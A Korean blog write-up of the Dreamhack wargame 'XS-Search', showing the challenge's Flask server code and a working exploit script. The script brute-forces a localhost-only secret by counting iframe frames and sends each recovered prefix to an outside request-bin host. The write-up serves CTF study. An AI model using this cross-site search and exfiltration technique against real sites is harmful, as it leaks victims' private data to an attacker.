[WARGAME] 드림핵 워게임 - XS-Search

jckim22·2022년 11월 6일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
54/114

아래는 서버코드이다

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.common.exceptions import TimeoutException
from urllib.parse import urlparse
from selenium import webdriver
from hashlib import md5
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

notes = {
    (FLAG, True), 
    ("Hello World", False), 
    ("DreamHack", False), 
    ("carpe diem, quam minimum credula postero", False)
}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(url)
    except TimeoutException as e:
        driver.quit()
        return True
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


@app.route("/")
def index():
    return render_template('index.html')


@app.route('/search')
def search():
    query = request.args.get('query', None)
    if query == None:
        return render_template("search.html", query=None, result=None)
    for note, private in notes:
        if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
            continue
        if query != "" and query in note:
            return render_template("search.html", query=query, result=note)
    return render_template("search.html", query=query, result=None)


@app.route("/submit", methods=["GET", "POST"])
def submit():
    if request.method == "GET":
        return render_template("submit.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        if not urlparse(url).scheme.startswith("http"):
            return '<script>alert("wrong url");history.go(-1);</script>'
        if not read_url(url):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


app.run(host="0.0.0.0", port=8000)

유의깊게 봐야할 코드는 아래의 코드이다.

var iframe = document.createElement("iframe");
iframe.src = "http://host1.dreamhack.games:12536/search?query=DreamHack";
document.body.appendChild(iframe);
iframe.onload = ()=>{console.log(iframe.contentWindow.frames.length);};

위처럼 검색결과가 있다면 iframe을 생성해준다.

flag는 로컬호스트에만 되어있다.

우리가 공격할 대상은 로컬 호스트이다.

그러면 flag를 한글자씩 서치하고 그 문자가 있다면 frame이 생성될 것이기 때문에 frame의 개수로 그 글자가 맞는지 확인할 수 있다.

blind sql injection과 매우 흡사하고 이전에 css injection문제처럼 path에 문자를 달아서 문자열을 만든다.

그럼 아래를 보자

아래는 익스플로잇 코드이다.

코드에서는 frame의 개수로 구별하며 브루트 포스 요청을 보낸다.

request.bin에서는 flag가 포함이 되어 있다면 frame값이 1이기 떄문에 성공적인 요청이 되어 뜰 것이다.

우리는 거기에 있는 문자열을 비동기적으로 모아 flag를 생성한다.

<iframe id="iframe"></iframe>
<img id="img">
<script>
    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }
    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }
    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{";
        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `https://medzozd.request.dreamhack.games/${secret}`;
                    break;
                }
            }
        }
    }
    exploit();
</script>

submit 형식이기 때문에
깃허브 서버에 이 파일을 업로드하고 경로를 submit해줬다

그러면 사용자는 이 url로 반복 접속하게 되어 자신도 모르게 요청을 보내 중요한 secret값을 탈취당하게된다.

subimt에 익스플로잇 파일을 제출하게 되면 아래처럼


flag를 구할 수 있다.

profile
개발/보안

0개의 댓글